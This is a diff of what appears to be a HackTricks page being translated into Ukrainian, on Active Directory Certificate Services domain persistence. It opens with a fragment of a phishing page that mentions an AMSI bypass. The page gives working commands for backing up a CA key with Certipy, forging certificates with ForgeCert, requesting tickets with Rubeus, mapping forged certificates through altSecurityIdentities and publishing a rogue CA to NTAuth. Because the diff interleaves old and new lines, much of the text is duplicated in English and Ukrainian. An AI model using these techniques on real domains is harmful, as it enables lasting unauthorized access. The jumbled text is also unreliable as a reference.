- .lnk, який перелічує батьківські/користувацькі папки, щоб знайти ZIP і відкрити підробний документ.
- Маніпуляції з AMSI через [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Тривалі бізнес-потоки, що закінчуються посиланнями, розміщеними на довірених доменах PaaS.
- Довготривалі бізнес-потоки, що закінчуються посиланнями, розміщеними під довіреними PaaS-доменами.
## Файли Windows для викрадення NTLM-хешів
Перегляньте сторінку про **places to steal NTLM creds**:
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
## Посилання

View File

@ -1,27 +1,27 @@
# AD CS Персистентність у домені
# AD CS — персистенція в домені
{{#include ../../../banners/hacktricks-training.md}}
**This is a summary of the domain persistence techniques shared in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Check it for further details.
**Це підсумок технік персистенції в домені, описаних у [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Перегляньте для детальнішої інформації.
## Forging Certificates with Stolen CA Certificates - DPERSIST1
Як визначити, що сертифікат є CA сертифікатом?
Як визначити, що сертифікат є CA-сертифікатом?
Можна встановити, що сертифікат є CA сертифікатом, якщо виконані кілька умов:
Сертифікат можна вважати CA-сертифікатом, якщо виконуються кілька умов:
- Сертифікат зберігається на CA сервері, а його приватний ключ захищений за допомогою DPAPI машини або апаратно (наприклад, TPM/HSM), якщо ОС це підтримує.
- Поля Issuer і Subject сертифіката збігаються з distinguished name самого CA.
- Розширення "CA Version" присутнє виключно в CA сертифікатах.
- У сертифіката відсутні поля Extended Key Usage (EKU).
- Сертифікат зберігається на сервері CA, а його приватний ключ захищений за допомогою DPAPI машини або апаратно (наприклад TPM/HSM), якщо ОС це підтримує.
- Поля Issuer і Subject сертифіката відповідають distinguished name CA.
- Розширення "CA Version" присутнє виключно в CA-сертифікатах.
- Сертифікат не містить полів Extended Key Usage (EKU).
Щоб витягти приватний ключ цього сертифіката, підтримуваний спосіб — використати інструмент `certsrv.msc` на CA сервері через вбудований GUI. Однак цей сертифікат не відрізняється від інших сертифікатів, що зберігаються в системі; тому для його витягання можна застосувати методи на кшталт [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2).
Щоб витягти приватний ключ цього сертифіката, підтримуваним методом через вбудований GUI є інструмент `certsrv.msc` на сервері CA. Проте цей сертифікат не відрізняється від інших, що збережені в системі; отже, для витягнення можуть бути застосовані методи, такі як [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2).
Сертифікат і приватний ключ також можна отримати за допомогою Certipy, виконавши наступну команду:
Сертифікат та приватний ключ також можна отримати за допомогою Certipy, використавши наступну команду:
```bash
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
```
Після отримання сертифіката CA та його приватного ключа у форматі `.pfx`, такі інструменти, як [ForgeCert](https://github.com/GhostPack/ForgeCert), можна використати для генерації дійсних сертифікатів:
Отримавши сертифікат CA та його приватний ключ у форматі `.pfx`, можна використовувати інструменти на кшталт [ForgeCert](https://github.com/GhostPack/ForgeCert) для генерації дійсних сертифікатів:
```bash
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
@ -36,19 +36,19 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
```
> [!WARNING]
> Користувач, для якого фальсифікується сертифікат, має бути активним і здатним автентифікуватися в Active Directory для успіху процесу. Підробка сертифіката для спеціальних облікових записів, таких як krbtgt, неефективна.
> Користувач, на якого націлена фальсифікація сертифіката, повинен бути активним і здатним пройти автентифікацію в Active Directory, щоб процес увінчався успіхом. Підробка сертифіката для спеціальних облікових записів, таких як krbtgt, неефективна.
Цей підроблений сертифікат буде **дійсним** до вказаної дати завершення та доти, поки дійсний кореневий сертифікат CA (зазвичай від 5 до **10+ років**). Він також дійсний для **машин**, тож у поєднанні з **S4U2Self** атакуючий може **підтримувати персистентність на будь-якій машині домену** стільки, скільки дійсний сертифікат CA.
Крім того, **сертифікати, згенеровані** цим методом **не можна відкликати**, оскільки CA про них не знає.
Цей підроблений сертифікат буде **дійсним** до вказаної дати закінчення та доти, поки дійсний кореневий сертифікат CA (зазвичай від 5 до **10+ років**). Він також дійсний для **машин**, тож у поєднанні з **S4U2Self** атакуючий може **підтримувати персистенцію на будь-якій машині домену** стільки, скільки дійсний сертифікат CA.\
Крім того, **сертифікати, згенеровані** цим методом, **не можуть бути відкликані**, оскільки CA про них не знає.
### Робота під суворим застосуванням відображення сертифікатів (2025+)
### Робота в умовах Strong Certificate Mapping Enforcement (2025+)
З 11 лютого 2025 року (після розгортання KB5014754) контролери домену за замовчуванням перейшли у **Full Enforcement** для відображень сертифікатів. Практично це означає, що ваші підроблені сертифікати мають або:
З 11 лютого 2025 року (після розгортання KB5014754) контролери домену за замовчуванням використовують **Full Enforcement** для відображень сертифікатів. Практично це означає, що ваші підроблені сертифікати повинні або:
- Містити міцне прив'язування до цільового облікового запису (наприклад, SID security extension), або
- Бути поєднаними з міцним, явним відображенням на атрибуті `altSecurityIdentities` цільового об'єкта.
- Містити міцний зв’язок з цільовим обліковим записом (наприклад, SID security extension), або
- Бути поєднані з міцним, явним відображенням в атрибуті `altSecurityIdentities` цільового обєкта.
Надійний підхід для персистентності — випустити підроблений сертифікат, зв'язаний з викраденим Enterprise CA, а потім додати сильне явне відображення до цільового principal:
Надійний підхід для персистенції — створити підроблений сертифікат, пов'язаний ланцюжком із вкраденим Enterprise CA, а потім додати міцне явне відображення до цільового principal:
```powershell
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
@ -56,15 +56,15 @@ $SerialR = '1200000000AC11000000002B' # serial in reversed byte
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
```
Примітки
- Якщо ви можете створити підроблені сертифікати, що містять розширення безпеки SID, вони відобразяться імпліцитно навіть під Full Enforcement. В іншому випадку надавайте перевагу явним та строгим відповідностям. Див. [account-persistence](account-persistence.md) для детальнішої інформації про явні відповідності.
- Відкликання не допомагає захисникам у цьому випадку: підроблені сертифікати невідомі базі даних CA і тому не можуть бути відкликані.
Notes
- Якщо ви можете створити підроблені сертифікати, які містять SID security extension, вони будуть відображатися неявно навіть у режимі Full Enforcement. В іншому випадку віддавайте перевагу явним сильним відображенням. Див. [account-persistence](account-persistence.md) для докладнішої інформації про явні відображення.
- Revocation не допомагає захисникам у цій ситуації: підроблені сертифікати невідомі базі даних CA і тому не можуть бути відкликані.
## Trusting Rogue CA Certificates - DPERSIST2
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
Об'єкт `NTAuthCertificates` призначений для містити один або кілька **CA certificates** у своєму атрибуті `cacertificate`, які використовує Active Directory (AD). Процес перевірки контролера домену передбачає перевірку об'єкта `NTAuthCertificates` на наявність запису, що відповідає **CA specified** у полі Issuer автентифікуючого **certificate**. Якщо відповідність знайдена, аутентифікація продовжується.
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest roots domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
Зловмисник може додати самопідписаний CA сертифікат до об'єкта `NTAuthCertificates`, якщо він контролює цей AD-об'єкт. Зазвичай дозволи на зміну цього об'єкта надаються лише членам групи **Enterprise Admin**, а також **Domain Admins** або **Administrators** у домені кореня лісу. Вони можуть редагувати об'єкт `NTAuthCertificates` за допомогою `certutil.exe` командою `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, або використовуючи [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
Additional helpful commands for this technique:
```bash
@ -77,34 +77,34 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
```
Ця можливість особливо актуальна при використанні разом із раніше описаним методом за участю ForgeCert для динамічної генерації сертифікатів.
This capability is especially relevant when used in conjunction with a previously outlined method involving ForgeCert to dynamically generate certificates.
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
## Зловмисна неправильна конфігурація - DPERSIST3
## Malicious Misconfiguration - DPERSIST3
Можливості для **персистенції** через **зміни дескрипторів безпеки компонентів AD CS** численні. Зміни, описані в розділі "[Domain Escalation](domain-escalation.md)", можуть бути зловмисно реалізовані атакуючим із підвищеними правами. Це включає додавання "control rights" (наприклад, WriteOwner/WriteDACL/etc.) до чутливих компонентів, таких як:
Можливості для **persistence** через модифікації **security descriptor** компонентів AD CS численні. Модифікації, описані в розділі "[Domain Escalation](domain-escalation.md)", можуть бути зловмисно реалізовані атакуючим із підвищеними привілеями. Це включає додавання "control rights" (наприклад, WriteOwner/WriteDACL/etc.) до таких чутливих компонентів, як:
- Об'єкт **AD computer** сервера **CA**
- RPC/DCOM сервер **CA serverа**
- Будь-який **нащадковий об'єкт AD або контейнер** у **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (наприклад, контейнер Certificate Templates, контейнер Certification Authorities, об'єкт NTAuthCertificates тощо)
- **AD групи**, яким делеговано права контролю AD CS за замовчуванням або організацією (наприклад, вбудована група Cert Publishers та будь-які її члени)
- The **CA servers AD computer** object
- The **CA servers RPC/DCOM server**
- Any **descendant AD object or container** in **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.)
- **AD groups delegated rights to control AD CS** by default or by the organization (such as the built-in Cert Publishers group and any of its members)
Приклад шкідливої реалізації: атакуючий із **підвищеними правами** в домені додає право **`WriteOwner`** до шаблону сертифіката за замовчуванням **`User`**, призначаючи себе як принципала для цього права. Щоб скористатися цим, атакуючий спочатку змінює власника шаблону **`User`** на себе. Далі на шаблон встановлюється прапорець **mspki-certificate-name-flag** зі значенням **1** для ввімкнення **`ENROLLEE_SUPPLIES_SUBJECT`**, що дозволяє користувачу вказати Subject Alternative Name у запиті. Після цього атакуючий може **зареєструватися** за допомогою цього **шаблону**, обравши ім'я **domain administrator** як альтернативне ім'я, і використовувати отриманий сертифікат для автентифікації як DA.
Приклад зловмисної реалізації: атакуючий з **підвищеними правами** додає право **`WriteOwner`** до дефолтного шаблону сертифікатів **`User`**, при цьому сам ставши суб'єктом для цього права. Щоб експлуатувати це, атакуючий спочатку змінює володіння шаблоном **`User`** на себе. Після цього на шаблоні встановлюється **`mspki-certificate-name-flag`** рівним **1**, щоб увімкнути **`ENROLLEE_SUPPLIES_SUBJECT`**, що дозволяє користувачу вказувати Subject Alternative Name в запиті. Надалі атакуючий може **enroll** за допомогою цього **template**, вказавши ім'я **domain administrator** як альтернативне ім'я, і використати отриманий сертифікат для автентифікації як DA.
Практичні параметри, які можуть встановити зловмисники для довгострокової стійкості в домені (див. {{#ref}}domain-escalation.md{{#endref}} для повних деталей та виявлення):
Практичні налаштування, які атакуючі можуть встановити для довгострокової персистенції в домені (див. {{#ref}}domain-escalation.md{{#endref}} для повних деталей та детекції):
- Прапори політики CA, що дозволяють SAN від заявників (наприклад, увімкнення `EDITF_ATTRIBUTESUBJECTALTNAME2`). Це зберігає шляхи типу ESC1 експлуатованими.
- DACL або налаштування шаблону, які дозволяють випуск сертифікатів, придатних для автентифікації (наприклад, додавання EKU Client Authentication, ввімкнення `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
- Контроль над об'єктом `NTAuthCertificates` або контейнерами CA для постійного повторного введення зловмисних емітерів, якщо захисники намагаються очищувати середовище.
- CA policy flags that allow SAN from requesters (e.g., enabling `EDITF_ATTRIBUTESUBJECTALTNAME2`). This keeps ESC1-like paths exploitable.
- Template DACL or settings that allow authentication-capable issuance (e.g., adding Client Authentication EKU, enabling `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`).
- Controlling the `NTAuthCertificates` object or the CA containers to continuously re-introduce rogue issuers if defenders attempt cleanup.
> [!TIP]
> У захищених середовищах після KB5014754 поєднання цих неправильних налаштувань із явними строгими відображеннями (`altSecurityIdentities`) забезпечує придатність ваших виданих або підроблених сертифікатів навіть коли DCs застосовують строгі відображення.
> In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (`altSecurityIdentities`) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.
## References
- Microsoft KB5014754 Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
- Certipy Довідник команд і використання forge/auth. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
{{#include ../../../banners/hacktricks-training.md}}